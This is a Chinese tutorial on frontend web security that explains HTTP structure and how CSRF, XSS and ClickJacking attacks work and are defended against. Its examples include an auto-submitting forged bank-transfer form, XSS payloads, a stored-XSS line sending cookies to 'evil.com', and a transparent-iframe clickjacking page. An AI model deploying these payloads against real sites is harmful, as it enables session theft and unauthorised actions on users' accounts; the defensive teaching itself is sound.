一文弄懂前端常见的安全问题:CSRF、XSS与ClickJacking攻防详解

Today

一文弄懂前端常见的安全问题

本文涉及的常见的 Web 安全问题主要包括以下几种。为了便于记忆,我们先用一句话快速总结这些攻击方式的本质:

  1. CSRF(跨站请求伪造)

    攻击者诱导用户在已登录状态下,向目标网站发起非本意的请求,执行敏感操作。

  2. XSS(跨站脚本攻击)

    攻击者将恶意脚本注入到网页中,使浏览器在用户访问页面时执行这些脚本,常见类型包括:

    • 反射型 XSS:恶意代码通过 URL 参数传入,并被页面原样返回执行。
    • 存储型 XSS:恶意脚本被持久化存储(如数据库),对访问者反复生效。
    • DOM 型 XSS:前端 JS 对 URL 等数据未做处理,直接插入页面中执行。
  3. ClickJacking(点击劫持)

    攻击者在恶意网页中嵌套一个透明的 iframe,诱使用户误点其上的按钮或链接,执行意想不到的操作。


💡 前置知识点

HTTP 请求的大致结构

理解 HTTP 请求的基本结构,有助于我们深入认识 Web 安全攻击是如何发生的——例如攻击者是如何伪造请求、浏览器又是如何在不经意间"自动"暴露用户身份信息的。同时,这也为我们后续讲解各种防护机制(如 CSRF Token、CSP、SameSite Cookie)提供了技术基础。


一次典型的 HTTP 请求主要由请求行、请求头、请求体三部分组成:


请求行(Request Line)

这是 HTTP 请求的第一行,包含三部分信息:

<请求方法> <请求路径> <协议版本>

例如:

GET /profile HTTP/1.1

请求方法决定了该请求的意图:


请求头(Headers)

请求头是一些键值对,携带客户端的元信息,用于描述请求上下文。比如浏览器类型、携带的 Cookie、请求来源等。

示例:

Host: bank.com
User-Agent: Mozilla/5.0
Cookie: session=abc123
Referer: https://bank.com/home
Origin: https://bank.com
Content-Type: application/json

常见请求头说明:

Header 字段 含义
Host 指定请求目标主机
User-Agent 浏览器/设备信息
Cookie 携带用户身份凭证,如 session ID
Referer 表示当前请求是从哪个页面跳转来的(完整 URL)
Origin 表示请求的源头(协议 + 域名 + 端口),主要用于安全校验
Content-Type 请求体的数据格式,例如 application/jsonapplication/x-www-form-urlencoded

💡 浏览器会在跨域请求、表单提交时自动附带一些头信息,如 Cookie、Referer、Origin,而这些正是许多攻击利用和防护的关键。


请求体(Body)

请求体用于携带客户端发送给服务器的数据,通常出现在 POSTPUTPATCH 等方法中。

请求体可能包含:

示例:

{
  "to": "attacker_account",
  "amount": 10000
}

GET 请求一般不包含请求体,它的数据通常通过 URL 查询参数(如 /search?q=abc)传递。


小结:一张图记住 HTTP 请求结构

请求结构大致如下:

请求行:    GET /api/user HTTP/1.1
请求头:    Host, Cookie, Origin, Referer, User-Agent, ...
请求体:    {"data": "..."} (仅部分方法有)

掌握这些基础之后,我们就能更清晰地理解:**为什么浏览器"会带 Cookie"?为什么 Referer 和 Origin 可以校验请求来源?又为什么攻击者可以伪造请求但拿不到 CSRF Token?**这些问题的答案,正藏在这三部分结构中。


HTTP 响应的大致结构

每当浏览器向服务器发起 HTTP 请求,服务器会返回一个 HTTP 响应(Response)。它的结构也分为状态行、响应头、响应体三部分:

1⃣️状态行(Status Line)

第一行表示响应的状态,由三部分组成:

<HTTP版本> <状态码> <状态描述>

示例:

HTTP/1.1 200 OK

常见状态码如下:

状态码 含义
200 请求成功
301/302 重定向
400 请求参数错误
401 未授权(需登录)
403 被禁止访问
404 资源未找到
500 服务器内部错误

2️⃣ 响应头(Response Headers)

响应头是服务器告诉客户端一些"关于响应的元信息",比如响应格式、安全策略、是否可缓存等。

示例:

Content-Type: application/json
Set-Cookie: session=abc123; HttpOnly; SameSite=Lax
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'

常见响应头说明:

响应头字段 用途
Content-Type 响应体的数据类型(如 JSON、HTML)
Set-Cookie 设置浏览器的 Cookie(可配合 SameSite、HttpOnly、Secure 等属性)
X-Frame-Options 防止页面被嵌套,防御 ClickJacking
Content-Security-Policy 设置内容加载规则,限制脚本来源,防御 XSS
Access-Control-Allow-Origin 设置允许跨域的来源,用于 CORS
Cache-Control 控制资源是否可缓存

3️⃣ 响应体(Body)

响应体包含了实际返回的数据内容,比如:

示例:

{
  "user": "Alice",
  "balance": 10000
}

或:

<!DOCTYPE html>
<html>
  <head><title>My Page</title></head>
  <body>Hello, world!</body>
</html>
 

小结:HTTP 响应结构回顾

状态行:    HTTP/1.1 200 OK
响应头:    Content-Type, Set-Cookie, CSP, X-Frame-Options, ...
响应体:    实际内容,如 HTML、JSON、图片等


通过掌握响应结构,可以更好地理解:

🔐 CSRF 原理与防护

示例:

假设某银行网站 bank.com 没有做 CSRF 防护。用户登录账户后,浏览器中会自动保存身份凭证(如 Cookie)。这时用户访问了攻击者的网页 http://attacker.com,点击页面上的某个按钮时,触发如下恶意请求:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
  <input type="submit">
</form>
<script>
  document.forms[0].submit();
</script>
 

因为浏览器会自动附带 bank.com 的 Cookie,所以银行服务器会认为这个请求是用户主动发起的,从而执行转账操作。


原理:

CSRF 利用了以下事实:

  1. 用户已登录目标网站,浏览器中有合法 Cookie(如 session)
  2. 浏览器会在请求中自动附带这些 Cookie,无论请求是否是用户主动触发的
  3. 目标网站未对请求来源进行校验(Referer / Origin / Token)

也就是说,攻击者并不能"伪造你的 Cookie",但可以"借用你的浏览器"来发起请求。


防护手段:

  1. CSRF Token(首选方式)

    每次表单中附带一个不可预测的 Token,服务器在收到请求时校验是否一致,防止伪造。

  2. SameSite Cookie 属性

    通过设置 Cookie 的 SameSite=StrictLax,限制第三方网站发起请求时是否允许携带 Cookie。

  3. 校验 Referer / Origin 请求头

    拒绝不来自本域的请求。例如:

    if (req.headers.origin !== 'https://bank.com') {
      return res.status(403).end('CSRF blocked');
    }
    
  4. 双因素确认机制

    对敏感操作增加额外验证(如密码确认、短信验证码),增加攻击成本。

🔐 XSS 原理与防护

原理:

XSS(Cross-Site Scripting,跨站脚本攻击)本质上是攻击者将恶意的 JavaScript 代码注入到网页中,使其在其他用户的浏览器中执行。

攻击者的目标通常是:

从攻击方式上看,XSS 可以分为三种类型:


反射型 XSS(Reflected XSS)

恶意脚本通过 URL 参数等方式传入,服务器在响应中直接"原样返回"这些参数,导致脚本在页面中执行。

示例:

用户访问链接:

https://example.com/search?q=<script>alert('XSS')</script>

服务器响应内容中直接插入了这个 q 参数:

<p>您搜索的是:<script>alert('XSS')</script></p>

⚠️ 页面中 script 被执行,弹窗出现,攻击成功。


存储型 XSS(Stored XSS)

攻击者将恶意脚本写入服务器数据库,如评论区、留言板等功能。其他用户访问时,页面会读取这些内容并执行脚本。

示例:

攻击者在评论区发布:

<script>fetch('http://evil.com?cookie=' + document.cookie)</script>

其他用户浏览评论时,这段脚本会在浏览器中执行,攻击者获取了受害者的 Cookie。


DOM 型 XSS(DOM-based XSS)

攻击不依赖服务器响应,而是前端 JS 在处理用户输入时未做过滤/编码,将恶意内容插入到页面中。

示例:

// 不安全的方式读取 URL 参数并插入页面
const query = location.search.slice(3);
document.body.innerHTML = `<div>${query}</div>`;

如果访问链接是:

https://example.com/?q=<img src=x onerror=alert(1)>

会造成 DOM 中插入恶意元素并触发脚本。


防护措施

XSS 攻击主要是由于"信任了用户输入",所以防护的关键就是过滤、转义、隔离执行环境

核心防护策略:

  1. 对用户输入进行 HTML 转义(Encode/Escape)

不信任用户输入,尤其是在页面中渲染时,必须转义特殊字符(如 < > " ' &)。

前端常用的处理方法:

function escapeHTML(str: string) {
  return str.replace(/[&<>"']/g, c => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;',
  }[c]!);
}

  1. 在输出前端模板时使用安全模板引擎

如 React 默认就会对插值内容做 HTML 转义:

<div>{userInput}</div> // 是安全的

但注意:

<div dangerouslySetInnerHTML={{ __html: userInput }} /> // 不安全!

  1. 设置 HTTP 响应头,防止脚本执行

Content-Security-Policy (CSP):限制哪些脚本可以加载和执行

Content-Security-Policy: default-src 'self'; script-src 'self'
  1. 避免在页面中拼接 HTML

尽量使用 DOM API 操作节点,而非 innerHTML

// ✅ 安全方式
const el = document.createElement("div");
el.textContent = userInput;
container.appendChild(el);

  1. 输入校验 + 白名单过滤

如果某些字段只允许特定格式(如纯数字、纯文本等),可在输入阶段就做校验。

🧠 小结:

类型 攻击路径 防护重点
反射型 XSS URL 参数 → 页面响应 后端输出前进行转义
存储型 XSS 用户提交 → 数据库存储 → 页面展示 后端存前转义/展示前转义
DOM 型 XSS 用户输入 → JS 操作 DOM 前端不要拼接 innerHTML

ClickJacking 原理与防护

原理:

ClickJacking(点击劫持)是一种视觉欺骗类攻击,攻击者通过在自己网页中嵌套一个透明的 iframe,覆盖在用户可见的按钮或链接上,诱使用户在毫不知情的情况下点击目标网站的敏感操作按钮。

简单说就是:你以为点的是"播放视频",其实点的是"转账"按钮


示例:

攻击者网页代码如下:

<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 500px;
    height: 500px;
    opacity: 0;
    z-index: 10;
  }
 
  button {
    position: relative;
    z-index: 5;
  }
</style>
 
<iframe src="https://bank.com/transfer" ></iframe>
<button>点我领取福利</button>
 

用户以为点的是"领取福利"按钮,实则点击了下方透明的 iframe 中的转账按钮,造成操作被劫持。


成功攻击的前提:

  1. 目标网站可以被嵌入到 iframe 中。
  2. 用户在目标网站中保持登录状态。
  3. 嵌套页面中存在可点击的重要按钮。

防护措施

ClickJacking 攻击主要通过嵌套 iframe 实现,因此防御的核心策略就是:

防止网页被嵌套在 iframe 中。


推荐的防护方法:

  1. 设置 HTTP 响应头:X-Frame-Options(老方法)
X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

⚠️ 注意:该方法已被 CSP 替代,但仍被很多浏览器支持。


  1. 使用 Content-Security-Policy (CSP) 头:更现代的方式
Content-Security-Policy: frame-ancestors 'none';

或者只允许同源:

Content-Security-Policy: frame-ancestors 'self';

这个配置更灵活,可控制嵌套来源。


  1. 前端 JavaScript 检测(增强型)
if (window.top !== window.self) {
  // 当前页面被嵌套在 iframe 中
  window.top.location = window.self.location;
}

⚠️ 缺点是可以被禁用 JS 绕过,建议只作为辅助手段。


  1. 重要按钮增加二次确认

比如敏感操作按钮加一层弹窗确认,可以提高攻击难度:

<button onclick="confirm('确定要执行操作吗?') && doTransfer()">转账</button>

🧠 小结:

防护方式 说明 适用性
X-Frame-Options 老牌方法,兼容性好 推荐
Content-Security-Policy 更现代、更灵活的 iframe 控制方式 强烈推荐
前端检测 window.top !== self 简单检测是否被嵌套 可作为补充
二次确认按钮 / 弹窗 提高操作门槛 可选

ClickJacking 看起来不如 XSS 和 CSRF 高级,但因为它利用了人的直觉误判,特别适合配合社交工程攻击,一旦用于控制账户、发起交易、授权签名等行为,后果极其严重。

🧩 总结

在现代 Web 应用中,安全性是不可忽视的核心环节。本文介绍了三种高频 Web 安全攻击方式:CSRF、XSS 和 ClickJacking,它们各有不同的攻击方式与防御重点,但共同点在于——它们都试图利用用户或浏览器的"信任"来执行恶意行为


📌 三大攻击类型总结

攻击类型 攻击目的 攻击方式简述 防护核心
CSRF 冒充用户发起操作 利用浏览器自动带 Cookie,诱导用户请求目标网站 校验 CSRF Token / 设置 SameSite Cookie / 检查 Referer
XSS 执行恶意脚本,窃取数据或操控页面 注入 JS 脚本,骗取用户信息或控制页面行为 转义输出 / 使用 CSP / 避免拼接 HTML
ClickJacking 诱导用户点击隐藏操作 使用透明 iframe 将目标页面嵌入,诱导用户误操作 禁止 iframe 嵌套:X-Frame-Options / CSP / 前端检测

防护心法三句口诀:


✅ 建议的安全实践 Checklist:

通过理解这些攻击的原理并采取对应的防护手段,你的网站将更难成为攻击者的目标。在 Web 安全的世界里,"默认安全"永远比"事后修复"更可靠